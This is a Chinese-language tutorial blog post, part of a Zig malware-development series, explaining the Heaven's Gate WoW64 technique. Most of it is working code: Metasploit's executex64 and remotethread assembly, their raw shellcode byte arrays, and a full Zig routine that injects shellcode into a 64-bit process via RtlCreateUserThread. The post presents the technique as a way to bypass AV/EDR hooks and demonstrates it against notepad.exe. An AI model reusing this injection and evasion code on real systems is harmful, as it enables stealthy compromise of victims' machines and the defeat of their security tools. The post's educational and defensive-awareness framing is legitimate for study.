iT邦幫忙

2025 iThome 鐵人賽

DAY 28
0
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 28

Day 28 - 天門開啟,越界而行:Heaven’s Gate 的 32/64 位元穿梭術

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

Ayo 是我 CX330!最後三天啦!天啊真的是一路寫來覺得挺辛苦的,很敬佩每一位完賽的前輩們,用自己的肝來換大家的學習進步,太感謝大家了。

在前兩天中,我們實作了一個 Binary packer。今天,我們要來看一下比較進階的一個惡意程式技術:Heaven's Gate。

那就讓我們廢話不多說,開始吧!

完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Heavens-Gate/heavens_gate/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

WoW64 子系統

WoW64 的全名叫做 Windows 32-bit On Windows 64-bit,它是 64-bit 的 Windows 作業系統中的內建翻譯器。它會用來讓 32 位元的執行檔在不做任何修改的情況下,也可以在 64 位元的機器上無縫運行。它會通過翻譯 32 位元的執行檔的系統中斷(system interrupt)翻譯為 64 位元的版本來實現這個功能。總之,這個兼容層確保了傳統的一些應用程式可以在不同的架構上穩定運行,關於 WoW64 的更深入了解,可以查看這個官方文檔

WoW64 Transitioning

這張圖來自 FireEye 在 2020 年的研究,它顯示,每個 WoW64 進程的記憶體中都會有 2 個 ntdll 模組(32 位元和 64 位元)。左側所示的 32 位元 ntdll 模組中的函式,是所有在 WoW64 架構下執行的 32 位元應用程式,在呼叫任意 Win32 API 時,最終會被呼叫到的系統層函式。然而,在原生的 64 位元系統中,32 位元的系統中斷無法被直接執行。因此,call edx 指令實際上會呼叫 WoW64 的轉譯層,這個轉譯層會將 32 位元的系統中斷轉換成 64 位元的系統呼叫(system call),並將它分派給右側 64 位元 ntdll 模組中對應的系統函數執行。

之所以 64 位元的系統無法理解 32 位元的系統中斷的原因是因為他們的呼叫慣例(calling convention)之間有差異,像是:

  1. 資料結構佈局:

    顯而易見的,32 位元和 64 位元的機器,在記憶體中相同資料結構的佈局也會非常不同。所以 WoW64 子系統應該將所有的 32 位元資料結構參數中的內容正確的填入 64 位元機器上所對應的資料結構中。

  2. 參數位址處理問題:

    在 32 位元的呼叫慣例中,參數會依序被推入 Stack,然而在 64 位元的呼叫慣例 中,參數則是依序放在 r8r9rcxrdx 這些暫存器中,其餘的參數才會放到堆疊上。因此,WoW64 架構必須依照 x64 的呼叫慣例,將 32 位元的參數重新放置到正確的位置,如此一來,64 位元的系統呼叫才能從它們所預期的位置正確取得這些參數。

Heaven's Gate

在 WoW64 的進程中,線程具備切換處理器模式到 64 位元的能力,從而能夠執行 64 位元的程式碼或函數。而這種方法就被大家所稱作 Heaven's Gate 技術。

Heaven's Gate 機制是利用 CS 暫存器(code segment register)來實現的,該暫存器會根據當前的執行模式而保存不同的段選擇子(segment selector),其中:

  • 0x23
    • 代表 WoW64 中的 32 位元線程
  • 0x33
    • 代表原生 64 位元線程
  • 0x1B
    • 代表原生 32 位元線程

為了要從 x86 切換到 x64 模式,進程會執行一個遠跳轉到 0x33 的 Segment,在該模式下執行所需的 64 位元指令,接著再透過跳回 0x23 的 Segment 來返回至 32 位元的模式。

使用 Heaven's Gate 在我們的惡意程式中有許多好處,包括但不限於以下:

  1. 透過 WoW64 直接在 32 位元程式中運行 64 位元程式碼:

    我們不需要 64 位元的執行檔或進程,就能使用 Heaven's Gate 來進行 64 位元的操作。

  2. 繞過某些 AV/EDR 的保護

    某些安全解決方案會著重於放 Hook 到 32 位元的 ntdll.dll,因為我們的程式是 32 位元的,因此當我們切換到 64 位元並使用 64 位元的 ntdll.dll 時,就可以繞過那些 Hooks。

Heaven's Gate 實作

要實作 Heaven's Gate 的技術,我們會使用到幾個組件,我們會一個一個來看一下。

executex64.asm

這個程式碼是由 Metasploit Framework 所提供的,以下是它們提供的 executex64.asm

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP
; Architecture: wow64
; Version: 1.0 (Jan 2010)
; Size: 75 bytes
; Build: >build.py executex64
;-----------------------------------------------------------------------------;

; A simple function to execute native x64 code from a wow64 (x86) process.
; Can be called from C using the following prototype:
;     typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
; The native x64 function you specify must be in the following form (as well as being x64 code):
;     typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );

; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.

[BITS 32]

WOW64_CODE_SEGMENT EQU 0x23
X64_CODE_SEGMENT EQU 0x33

start:
 push ebp         ; prologue, save EBP...
 mov ebp, esp       ; and create a new stack frame
 push esi        ; save the registers we shouldn't clobber
 push edi        ;
 mov esi, [ebp+8]      ; ESI = pFunction
 mov ecx, [ebp+12]      ; ECX = dwParameter
 call delta        ;
delta:
 pop eax         ;
 add eax, (native_x64-delta)    ; get the address of native_x64

 sub esp, 8        ; alloc some space on stack for far jump
 mov edx, esp       ; EDX will be pointer our far jump
 mov dword [edx+4], X64_CODE_SEGMENT  ; set the native x64 code segment
 mov dword [edx], eax     ; set the address we want to jump to (native_x64)

 call go_all_native      ; perform the transition into native x64 and return here when done.

 mov ax, ds        ; fixes an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
 mov ss, ax        ; found and fixed by ReWolf, incorporated by RaMMicHaeL

 add esp, (8+4+8)      ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
 pop edi         ; restore the clobbered registers
 pop esi         ;
 pop ebp         ; restore EBP
 retn (4*2)        ; return to caller (cleaning up our two function params)

go_all_native:
 mov edi, [esp]       ; EDI is the wow64 return address
 jmp dword far [edx]      ; perform the far jump, which will return to the caller of go_all_native

native_x64:
[BITS 64]         ; we are now executing native x64 code...
 xor rax, rax       ; zero RAX
 push rdi        ; save RDI (EDI being our wow64 return address)
 call rsi        ; call our native x64 function (the param for our native x64 function is allready in RCX)
 pop rdi         ; restore RDI (EDI being our wow64 return address)
 push rax        ; simply push it to alloc some space
 mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment
 mov dword [rsp], edi     ; set the address we want to jump to (the return address from the go_all_native call)
 jmp dword far [rsp]      ; perform the far jump back to the wow64 caller...

我們來看一下這坨程式碼吧,在一開始的 start 標籤中,會先執行一個 Function prologue 來準備暫存器和要傳遞給函數的參數。

start:
 push ebp         ; prologue, save EBP...
 mov ebp, esp       ; and create a new stack frame
 push esi        ; save the registers we shouldn't clobber
 push edi        ;
 mov esi, [ebp+8]      ; ESI = pFunction
 mov ecx, [ebp+12]      ; ECX = dwParameter
 call delta        ;

它用了一個很常見的 Shellcode 技術,通過呼叫 delta 函數來獲取當前指令的指針。這次呼叫將下一個指令(返回地址)的地址推入 Stack,然後在 delta 標籤的地方,pop eax 會再次把這個地址彈出來並存回 eax。這種技術有效的獲取了 Shellcode 的當前記憶體地址或指令指針,可以被用於進一步的計算或調整。

以下的程式碼用於「動態計算 native_x64 的地址」,這個 (native_x64-delta) 是在編譯時已知的偏移量,我們通過 pop eax 獲取的當前地址,可以計算出 native_x64 的絕對地址。

 call delta        ;
delta:
 pop eax         ;
 add eax, (native_x64-delta)    ; get the address of native_x64

當準備要執行 native_x64 指令的時候,我們會使用 Heaven's Gate 來切換至 64 位元模式並執行程式碼。剛剛說過了,這是透過設定一個遠跳轉來完成的,以下是其程式碼。

jmp segment:offset
; [edx]     = offset (low 4 bytes)
; [edx+4]   = segment selector (high 2 bytes)

所以這會等於

jmp dword far [edx]      ; perform the far jump, which will return to the caller of go_all_native

為了準備這個遠跳,程式碼會把偏移量和段選擇子(segment selector)推進 Stack,然後使用遠跳指令。go_all_native 函數會在 64 位元模式下,以傳入的參數進入並執行所指定的 64 位元函數程式碼,這就是 Heaven’s Gate 的入口點。

當 64 位元的程式碼完成後,它會返回到呼叫 go_all_native 的位置。在執行遠跳之前,程式碼會從 Stack 上彈出返回地址並保存到 edi,這是手動儲存返回地址的一個技術。這個我們保存的返回地址會在稍後用於使用 Heaven's Gate 技術從 64 位元模式跳回 32 位元模式。所以讓我們來看一下它的組合語言吧。

X64_CODE_SEGMENT EQU 0x33
 ...
 sub esp, 8        ; alloc some space on stack for far jump
 mov edx, esp       ; EDX will be pointer our far jump
 mov dword [edx+4], X64_CODE_SEGMENT  ; set the native x64 code segment
 mov dword [edx], eax     ; set the address we want to jump to (native_x64)

 call go_all_native      ; perform the transition into native x64 and return here when done.
 ...

go_all_native:
 mov edi, [esp]       ; EDI is the wow64 return address
 jmp dword far [edx]      ; perform the far jump, which will return to the caller of go_all_native

native_x64 的程式碼是由 64 位元的組合語言所編寫的,所以可以在 64 位元模式下執行。它會呼叫指定的函數指針並傳遞指定的參數。在執行我們指定的函數指針後,它會準備呼叫另一個遠跳回到 32 位元模式。在此情形中,它將會使用 0x23 作為 CS 的值,並在回到原本的 32 位元模式前,使用 rdi 存儲的 WoW64 返回地址,利用 Heaven's Gate 技術進行切換。

WOW64_CODE_SEGMENT EQU 0x23
...
native_x64:
[BITS 64]         ; we are now executing native x64 code...
 xor rax, rax       ; zero RAX
 push rdi        ; save RDI (EDI being our wow64 return address)
 call rsi        ; call our native x64 function (the param for our native x64 function is allready in RCX)
 pop rdi         ; restore RDI (EDI being our wow64 return address)
 push rax        ; simply push it to alloc some space
 mov dword [rsp+4], WOW64_CODE_SEGMENT ; set the wow64 code segment
 mov dword [rsp], edi     ; set the address we want to jump to (the return address from the go_all_native call)
 jmp dword far [rsp]      ; perform the far jump back to the wow64 caller...

透過 executex64.asm 程式碼片段,我們能更清楚的了解 Heaven's Gate 的實現方式以及它是如何讓 WoW64 進程運行原生的 64 位元程式碼。

remotethread.asm

接下來,我們要來看一下另一個從 Metasploit Framework 的程式碼remotethread.asm,這段程式碼會在目標進程上用 64 位元的模式打開一個遠端的線程。在開始之前,我們需要先為 x64 環境定義一個結構(不是 x86),並把這個結構傳給 64 位元的函數。

這個結構會包含進程的句柄、遠端 Shellcode 的基址、要傳給 Shellcode 的參數,以及一個欄位用來在遠端線程成功建立時儲存該線程的句柄。這個結構叫做 WOW64CONTEXT,它長這樣:

typedef struct _WOW64CONTEXT {
    union {
        HANDLE hProcess;
        BYTE   bPadding2[8];
    } h;  // this is the process handle

    union {
        LPVOID lpStartAddress;
        BYTE   bPadding1[8];
    } s;  // the starting address of remote shellcode

    union {
        LPVOID lpParameter;
        BYTE   bPadding2[8];
    } p;  // parameters for the shellcode

    union {
        HANDLE hThread;
        BYTE   bPadding2[8];
    } t;  // saved thread handle once the thread is created
} WOW64CONTEXT, * PWOW64CONTEXT;

在這個結構中,每個 Entry 都填充到 8 個位元,以便有足夠的空間來儲存 64 位元地址和句柄。hThread 被視為輸出參數,我們可以從中獲取遠端線程的句柄。下面的組合語言會先準備環境和參數,然後呼叫 RtlCreateUserThread 函數。執行函數後,程式會先檢查返回值以確定遠端線程是否成功創建。該函數會返回一個布林值來指示成功或是失敗,如果成功,則將會在一個暫停狀態下把新線程注入目標進程中。

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008R2, 2008, 2003, XP
; Architecture: x64
; Version: 1.0 (Jan 2010)
; Size: 296 bytes
; Build: >build.py remotethread
;-----------------------------------------------------------------------------;

; Function to create a remote thread via ntdll!RtlCreateUserThread, used with the x86 executex64 stub.

; This function is in the form (where the param is a pointer to a WOW64CONTEXT):
;     typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );


[BITS 64]
[ORG 0]
    cld                    ; Clear the direction flag.
    mov rsi, rcx           ; RCX is a pointer to our WOW64CONTEXT parameter
    mov rdi, rsp           ; save RSP to RDI so we can restore it later, we do this as we are going to force alignment below...
    and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned (as we originate from a wow64 (x86) process we cant guarantee alignment)
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
delta:                     ;
%include "./src/block/block_api.asm"
start:                     ;
    pop rbp                ; Pop off the address of 'api_call' for calling later.
    ; setup the parameters for RtlCreateUserThread...
    xor r9, r9             ; StackZeroBits = 0
    push r9                ; ClientID = NULL
    lea rax, [rsi+24]      ; RAX is now a pointer to ctx->t.hThread
    push rax               ; ThreadHandle = &ctx->t.hThread
    push qword [rsi+16]    ; StartParameter = ctx->p.lpParameter
    push qword [rsi+8]     ; StartAddress = ctx->s.lpStartAddress
    push r9                ; StackCommit = NULL
    push r9                ; StackReserved = NULL
    mov r8, 1              ; CreateSuspended = TRUE
    xor rdx, rdx           ; SecurityDescriptor = NULL
    mov rcx, [rsi]         ; ProcessHandle = ctx->h.hProcess
    ; perform the call to RtlCreateUserThread...
    mov r10d, 0x40A438C8   ; hash( "ntdll.dll", "RtlCreateUserThread" )
    call rbp               ; RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL )
    test rax, rax          ; check the NTSTATUS return value
    jz success             ; if its zero we have successfully created the thread so we should return TRUE
    mov rax, 0             ; otherwise we should return FALSE
    jmp cleanup            ;
success:
 mov rax, 1             ; return TRUE
cleanup:
    add rsp, (32 + (8*6))  ; fix up stack (32 bytes for the single call to api_call, and 6*8 bytes for the six params we pushed).
    mov rsp, rdi           ; restore the stack
    ret                    ; and return to caller

因為這邊的程式碼和 Heaven's Gate 較無直接關聯,我會跳過逐行解釋這裡的程式碼。不過為了方便理解,上面的組合語言可以簡化為下面的 Pseudo C 程式碼。

BOOL Function64( PWOW64CONTEXT ctx ) {
	if ( !NT_SUCCESS( RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL ) ) ) {
		return FALSE;
	} else {
		return TRUE;
	}
}

wow64Inject

最後這邊要來講一下我們用 Zig 包裝的一個函數,它就是整個 Heaven's Gate 的封裝。它接收 3 個參數,並回傳一個布林值來顯示成功與否。其中的 3 個參數分別為:

  • process_id: ULONG
    • 目標進程的 PID
  • shellcode_buf: ?PVOID
    • 我們的 x64 shellcode
  • shellcode_len: ULONG
    • 這坨 Shellcode 的長度

這個函數一開始會先去檢查所有的參數是否合法。

    if (process_id == 0 or shellcode_buf == null or shellcode_len == 0) {
        return 0;
    }

在之後,我們會把 .text 的程式碼轉成函數指針。

    // cast .text code byte stubs to function pointers
    fn_executex64 = @ptrCast(@alignCast(&bExecutex64[0]));
    fn_function64 = @ptrCast(@alignCast(&bFunction64[0]));

這個 bExecutex64bFunction64 分別就是剛剛的 executex64.asm 還有 remotethread.asm 的 Raw bytes,同樣可以透過 Metasploit Framework 拿到。

// code stub that performs a context switch to 64-bit mode
// in the current Wow64 process to allow execution of x64
// code and revert back to Wow64 after finishing execution
//
// this is the "executex64.asm"
const bExecutex64 linksection(".text") = [_]u8{
    0x55, 0x89, 0xE5, 0x56, 0x57, 0x8B, 0x75, 0x08, 0x8B, 0x4D, 0x0C, 0xE8, 0x00, 0x00, 0x00, 0x00,
    0x58, 0x83, 0xC0, 0x2B, 0x83, 0xEC, 0x08, 0x89, 0xE2, 0xC7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00,
    0x89, 0x02, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x66, 0x8C, 0xD8, 0x66, 0x8E, 0xD0, 0x83, 0xC4, 0x14,
    0x5F, 0x5E, 0x5D, 0xC2, 0x08, 0x00, 0x8B, 0x3C, 0xE4, 0xFF, 0x2A, 0x48, 0x31, 0xC0, 0x57, 0xFF,
    0xD6, 0x5F, 0x50, 0xC7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x3C, 0x24, 0xFF, 0x2C,
    0x24,
};

// x64 code stub which is going to create a remote thread
// in the specified x64 process using RtlCreateUserThread
//
// this is the "remotethread.asm"
const bFunction64 linksection(".text") = [_]u8{
    0xFC, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xE7, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48,
    0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A,
    0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9,
    0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C,
    0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00,
    0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40,
    0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6,
    0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,
    0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40,
    0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0,
    0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58,
    0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A,
    0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x48, 0x8D,
    0x46, 0x18, 0x50, 0xFF, 0x76, 0x10, 0xFF, 0x76, 0x08, 0x41, 0x51, 0x41, 0x51, 0x49, 0xB8, 0x01,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x48, 0x8B, 0x0E, 0x41, 0xBA, 0xC8,
    0x38, 0xA4, 0x40, 0xFF, 0xD5, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x48, 0x83, 0xC4, 0x50, 0x48, 0x89, 0xFC, 0xC3,
};

下一步,會去獲取目標進程的句柄,獲得其控制權。

    // Open handle to remote process
    process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
    if (process_handle == null) {
        print("[-] OpenProcess Failed with Error: {x}\n", .{GetLastError()});
        return success;
    }

當我們拿到句柄後,就可以用 isProcessWow64 函數來檢查是否符合執行 Heaven's Gate 的條件。記住,條件是當前的進程必須是 WoW64 進程,而目標進程必須不是 WoW64 進程。遠端進程必須是原生的 64 位元,是因為我們透過 Heaven's Gate 執行的函數是會去遠端的 64 位元進程中注入一個惡意線程。

    // Check if current process is Wow64
    if (isProcessWow64(GetCurrentProcess()) == 0) {
        print("[-] Current process is not a Wow64 process\n", .{});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    } else {
        print("[*] Current process is Wow64\n", .{});
    }

而這個 isProcessWow64 是這樣寫的。

fn isProcessWow64(ProcessHandle: HANDLE) BOOL {
    var pNtQueryInformationProcess: fnNtQueryInformationProcess = undefined;
    var pIsWow64: ?*anyopaque = null;

    const ntdll_handle = GetModuleHandleA("NTDLL.DLL") orelse {
        print("[!] GetModuleHandleA failed\n", .{});
        return 0;
    };

    const proc_addr = GetProcAddress(ntdll_handle, "NtQueryInformationProcess") orelse {
        print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    pNtQueryInformationProcess = @ptrCast(@alignCast(proc_addr));

    const status = pNtQueryInformationProcess(ProcessHandle, ProcessWow64Information, @ptrCast(&pIsWow64), @sizeOf(?*anyopaque), null);
    // Fixed: Use @intFromEnum instead of @bitCast for NTSTATUS
    if (status != STATUS_SUCCESS) {
        print("[!] NtQueryInformationProcess Failed With Error: 0x{X:0>8}\n", .{@intFromEnum(status)});
        return 0;
    }

    return if (pIsWow64 != null) 1 else 0;
}

下一步,我們需要配置一塊可執行的記憶體在遠端的進程中,並把我們的 Shellcode 寫入。

    // Allocate memory in remote process
    virtual_memory = VirtualAllocEx(process_handle.?, null, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (virtual_memory == null) {
        print("[-] VirtualAllocEx Failed with Error: {d}\n", .{GetLastError()});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    }

    print("[*] Allocated memory at: 0x{X} [{d} bytes]\n", .{ @intFromPtr(virtual_memory.?), shellcode_len });

    // Write shellcode to remote process
    if (WriteProcessMemory(process_handle.?, virtual_memory.?, shellcode_buf.?, shellcode_len, &written) == 0) {
        print("[-] WriteProcessMemory Failed with Error: {d}\n", .{GetLastError()});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    }

之後就可以準備 WoW64 的上下文,並執行 Heaven's Gate 了。

    // Prepare 64-bit injection context
    wow64_ctx.h.hProcess = process_handle.?;
    wow64_ctx.s.lpStartAddress = virtual_memory;
    wow64_ctx.p.lpParameter = null;
    // hThread is already zeroed from std.mem.zeroes

    print("[*] About to execute Heaven's Gate transition...\n", .{});

    // switch the processor to be 64-bit mode and execute
    // the 64-bit code stub that will create a remote thread
    // in the remote 64-bit process
    const result = fn_executex64(fn_function64, @ptrCast(&wow64_ctx));
    print("[*] Heaven's Gate transition completed, result: {d}\n", .{result});

    if (result == 0) {
        print("[-] Failed to switch processor context and execute 64-bit stub\n", .{});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    }

    // Check if remote thread was created
    if (@intFromPtr(wow64_ctx.t.hThread) == 0) { // If thread handle is null
        print("[-] Failed to create remote thread under 64-bit mode\n", .{});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    }

最後我們需要讓剛剛被暫停的線程繼續運行,並把用完的句柄都清理掉。

    if (ResumeThread(wow64_ctx.t.hThread) == 0) {
        print("[-] ResumeThread Failed with Error: {d}\n", .{GetLastError()});
        if (process_handle) |handle| {
            _ = CloseHandle(handle);
        }
        return success;
    }

    print("[+] Successfully injected thread ({x})\n", .{@intFromPtr(wow64_ctx.t.hThread)});

    success = 1;

    // Cleanup
    if (process_handle) |handle| {
        _ = CloseHandle(handle);
    }

執行結果

我們的程式會去接收兩個命令行參數,第一個參數是遠端進程的 PID,第二個參數是一段 x64 的 Shellcode。我們在這邊的 Demo 會使用 notepad.exe 作為目標進程,並使用 MSFvenom 的 x64 小算盤 Shellcode。

我們先來看一下 notepad.exe 的 PID 是 42376。

Notepad PID

然後下一步,我們執行我們的程式,並傳入對應的參數。按下 Enter 執行。

Execution Result

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好囉!今天講完了 Heaven's Gate 的技術了。如果有興趣的話歡迎去看一下這篇部落格,裡面有更多的詳細內容以及參考資料來源(十分大推薦去看一下參考資料,看看其他人的研究)。

今天就先到這邊,明天應該會來介紹另一個技術 Hell's Gate,那就敬請期待!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day27 - 幽影綴化術,暗黑鍛造工藝:自製簡易 Binary Packer(下)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!28
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言